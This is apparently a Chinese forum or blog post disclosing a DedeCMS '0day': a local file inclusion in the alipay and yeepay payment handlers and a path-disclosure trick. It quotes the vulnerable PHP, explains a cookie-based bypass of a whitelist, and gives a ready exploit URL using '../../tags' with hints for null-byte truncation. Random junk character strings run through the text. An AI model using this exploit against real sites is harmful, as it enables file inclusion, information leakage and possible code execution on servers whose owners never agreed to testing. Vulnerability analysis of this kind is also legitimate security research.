dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
: o% ?& V6 i, i& u
4 W$ w( \- ]. V/ O1 ]" ^( K: j$ X/ g出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
! U8 X" O/ b( w" X漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php

......
! V: F& X+ N; H6 ]3 X' a  a) ~! L   function respond()
. C* t' y+ c5 X* t1 s    {
        if (!empty($_POST))
% O: t' L) w' ^        {
            foreach($_POST as $key => $data)
  e. @6 f8 t2 s            {
* ^6 s7 t0 ~3 J5 [6 K8 s% c$ U                $_GET[$key] = $data;
            }
# T1 L9 A8 {! ?        }
$ I8 x* c# [0 d$ ~        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......
# ^. `6 W6 \6 _0 q% }- R" N1 Z
4 q9 N7 `) W6 k- `8 u* {& q3 Z
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
, @# W5 j* ?; j9 p( ]6 K! h
Include/payment/yeepay.php
; M) F7 k; Q! U/ m' e


, [# r/ V) j  u( Y......
    function respond()
    {
- k7 a' A9 V% E9 S; F. b
        /* 引入配置文件 */
0 x* M( F% X5 z5 c  w4 o        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
: a/ L& f8 S  K0 T) y
5 c: U. F3 M4 b% w2 t* ~        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
; s4 m, O. ~8 \$ E! h0 ~......


' _1 J& B# n' F7 u7 D  t

大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

这两个方法在plus/carbuyaction.php文件调用。
: O2 |/ [1 T4 c( X- x  m
& t8 E2 V! f6 ]9 T* p$ l4 ]plus/carbuyaction.php

, n1 n3 R  J5 A* l6 ?......
0 H: P6 g8 a5 }" S7 B. H* S} else if ($dopost == 'return') {
! ]$ u& K/ e) N- @    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
& y% r+ g6 {! n* x/ b* Z9 |4 ?    if (in_array($code, $write_list))
    {
( D( _, P  K* Y$ Y* g6 D        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
% `9 g7 o; O+ F6 v! E        $msg=$pay->respond();
; b- ]% u7 m. ^/ s        ShowMsg($msg, "javascript:;", 0, 3000);
4 m5 s% P& P# ~        exit();  
, V2 u  q4 @5 Q1 K! D* J! R1 X    } else {
        exit('Error:File Type Can\'t Recognized!');
$ V9 G+ B' \5 x9 g1 R! J- ]: v% Q) z    }
}
......
) x  j: ^$ q- k! n
$ q; ]( ^# {) x) }: G

6 U7 t9 |* L3 h2 L

% E: J1 B; C# M! e0 ]$ _
9 I( K9 g6 m- T大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
, T6 b2 Y/ }. t: \$ {- G8 F所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
/ Q: F3 S) W6 W% P  P: x9 ]+ i& e
8 i) t, U- D2 D5 h* D0 J% f回到include/common.inc.php来看看他的机制。
" O' p" {6 H! }* [, H" o# g2 G
' C& P7 J- U2 R3 v3 l
  C6 b9 J( D; m& U
% s( H. H8 k7 ~2 E/ O......
7 w( R/ y: E3 {2 Yforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
  }, `" }, E. C0 ?2 B* O* W        foreach($$_request as $_k => $_v)
        {
/ L; n1 A4 h1 E& [                if($_k == 'nvarname') ${$_k} = $_v;
0 C; i, R. `, a" B( }# _                else ${$_k} = _RunMagicQuotes($_v);
        }
}
) R8 d" O. o8 ~8 t......
" i! K7 x; ]5 V' H  ]0 u大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。